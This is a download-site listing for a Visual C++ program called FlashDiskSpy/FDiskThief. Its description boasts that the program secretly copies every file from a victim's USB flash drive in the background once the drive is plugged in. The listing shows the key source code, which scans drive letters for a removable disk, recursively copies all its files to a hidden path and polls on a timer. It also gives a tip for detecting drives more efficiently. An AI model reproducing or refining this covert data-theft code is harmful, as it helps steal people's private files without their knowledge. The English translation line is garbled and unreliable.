FlashDiskSpy

所属分类:Windows编程
开发工具:Visual C++
文件大小:43KB
下载次数:13
上传日期:2007-01-10 17:10:27
上 传 者aeno
说明:  一个可以在后台偷取你闪盘里所有资料的小软件。 只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出.
(one can steal your background flash disk Lane all the information a small software. If you are stuck in a flash disk, all the Eastern residences have been quietly taking. Open code, hotkeys exhaled.)

文件列表:
FDiskThief\FDiskThief.rc (5376, 2005-08-14)
FDiskThief\Resource.h (964, 2005-08-14)
FDiskThief\FDiskThief.aps (36904, 2005-08-14)
FDiskThief\FDiskThiefDlg.cpp (6616, 2005-08-14)
FDiskThief\FDiskThief.opt (54784, 2005-08-14)
FDiskThief\desktop.ini (266, 2004-09-20)
FDiskThief\FDiskThief.clw (1438, 2005-08-14)
FDiskThief\FDiskThief.h (1368, 2005-08-13)
FDiskThief\FDiskThief.cpp (2119, 2005-08-13)
FDiskThief\FDiskThief.dsp (4292, 2005-08-14)
FDiskThief\FDiskThiefDlg.h (1712, 2005-08-14)
FDiskThief\StdAfx.h (1054, 2005-08-13)
FDiskThief\StdAfx.cpp (212, 2005-08-13)
FDiskThief\res\FDiskThief.rc2 (402, 2005-08-13)
FDiskThief\res\Thumbs.db (5120, 2005-08-13)
FDiskThief\res\run.ico (2238, 2005-08-13)
FDiskThief\res (0, 2005-08-13)
FDiskThief\FDiskThief.dsw (545, 2005-08-13)
FDiskThief\folder.htt (206, 2004-10-31)
FDiskThief\FDiskThief.ncb (58368, 2005-08-14)
FDiskThief\Debug (0, 2005-08-13)
FDiskThief\公文包数据库 (142, 2005-08-14)
FDiskThief\FDiskThief.plg (1009, 2005-08-14)
FDiskThief (0, 2005-08-13)
FDiskThief.exe (110676, 2005-08-14)

这是一个可以在后台偷取你闪盘里所有资料的小软件。 只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出. 一个可以在后台偷取你闪盘里所有资料的小软件。 只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出. 关键代码如下: //-------查找U盘------------------------------- CString CFDiskThiefDlg::FindFdisk() { CString strdir=""; for(char cc=‘A‘;cc<=‘Z‘;cc++) { strdir.Format("%c:",cc); if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移动盘 return strdir; } return strdir=""; } //--------复制文件----------------------------- void CFDiskThiefDlg::CopyFile(CString dir) { CFileFind tempFind; CString tempFileFind; tempFileFind.Format("%s\\*.*",dir); BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind); while(IsFinded) { IsFinded=(BOOL)tempFind.FindNextFile(); if(!tempFind.IsDots()) { CString foundFileName; foundFileName=tempFind.GetFileName(); if(tempFind.IsDirectory()) { CString tempDir; tempDir.Format("%s\\%s",dir,foundFileName); CopyFile(tempDir); } else { CString tempFileName1,tempFileName2; tempFileName1.Format("%s\\%s",dir,foundFileName); tempFileName2.Format("%s\\%s",m_Path,foundFileName); ::CopyFile(tempFileName1,tempFileName2,FALSE); } } } tempFind.Close(); } void CFDiskThiefDlg::OnTimer(UINT nIDEvent) { // TODO: Add your message handler code here and/or call default if(IsRun) { m_NewFdisk=FindFdisk(); if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="") { CopyFile(m_NewFdisk); } if(m_NewFdisk!="") m_OldFdisk=m_NewFdisk; else m_OldFdisk="NULL"; } CDialog::OnTimer(nIDEvent); } 在有外设安装的时候,一般都会向所有窗口广播 WM_DEVICECHANGE 消息, 处理这个消息,安装时候在 DBT_DEVICEARRIVAL 中处理 DEV_BROADCAST_HDR, DEV_BROADCAST_VOLUME 就可以得到 U 盘 的盘符。 这样应该比用定时器效率要高不少。

近期下载者

相关文件


收藏者